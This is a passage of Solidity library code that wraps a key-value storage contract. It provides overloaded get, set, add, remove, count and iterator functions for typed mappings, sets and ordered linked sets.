_value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(Config storage self, Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(Config storage self, AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(Config storage self, OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(Config storage self, Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(Config storage self, Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(Config storage self, AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(Config storage self, Set storage item, bytes32 _value) internal { remove(self, item, SET_IDENTIFIER, _value); } function remove(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(Config storage self, AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(Config storage self, OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(Config storage self, Set storage source, Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(Config storage self, AddressesSet storage source, AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(Config storage self, CounterSet storage source, CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(Config storage self, UInt storage item) internal view returns (uint) { return self.store.getUInt(self.crate, item.id); } function get(Config storage self, UInt storage item, bytes32 salt) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, UInt8 storage item) internal view returns (uint8) { return self.store.getUInt8(self.crate, item.id); } function get(Config storage self, UInt8 storage item, bytes32 salt) internal view returns (uint8) { return self.store.getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Int storage item) internal view returns (int) { return self.store.getInt(self.crate, item.id); } function get(Config storage self, Int storage item, bytes32 salt) internal view returns (int) { return self.store.getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Address storage item) internal view returns (address) { return self.store.getAddress(self.crate, item.id); } function get(Config storage self, Address storage item, bytes32 salt) internal view returns (address) { return self.store.getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bool storage item) internal view returns (bool) { return self.store.getBool(self.crate, item.id); } function get(Config storage self, Bool storage item, bytes32 salt) internal view returns (bool) { return self.store.getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bytes32 storage item) internal view returns (bytes32) { return self.store.getBytes32(self.crate, item.id); } function get(Config storage self, Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, String storage item) internal view returns (string) { return self.store.getString(self.crate, item.id); } function get(Config storage self, String storage item, bytes32 salt) internal view returns (string) { return self.store.getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Mapping storage item, uint _key) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(Config storage self, AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return self.store.getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(Config storage self, Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(Config storage self, AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(Config storage self, AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(Config storage self, Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(Config storage self, Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(Config storage self, OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(Config storage self, Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(Config storage self, Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(Config storage self, AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(Config storage self, CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(Config storage self, Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(Config storage self, Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(Config storage self, AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(Config storage self, CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /** @title Structure to incapsulate and organize iteration through different kinds of collections */ struct Iterator { uint limit; uint valuesLeft; bytes32 currentValue; bytes32 anchorKey; } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(Config storage self, OrderedUIntSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedSet storage item) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(Config storage self, OrderedUIntSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, OrderedAddressesSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (Iterator) { return Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function 